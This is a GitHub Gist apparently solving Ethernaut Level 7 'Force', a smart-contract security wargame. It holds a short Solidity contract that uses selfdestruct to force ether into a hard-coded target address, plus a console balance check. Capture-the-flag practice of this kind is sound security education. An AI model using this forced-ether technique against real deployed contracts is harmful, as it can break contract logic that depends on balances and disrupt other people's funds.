Created
July 31, 2022 05:34
-
-
Save SilviaMargaritaOcegueda/a87388a6b5def1d257ec76a489b48781 to your computer and use it in GitHub Desktop.
Level 7 - Force - Ethernaut
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract ForceEth { | |
function forceEth() external payable { | |
address payable attackContract = 0xf53Eb1E507B15561661efEDe9899beDA45d051f5; | |
selfdestruct(attackContract); | |
} | |
receive() external payable { | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
getBalance(instance);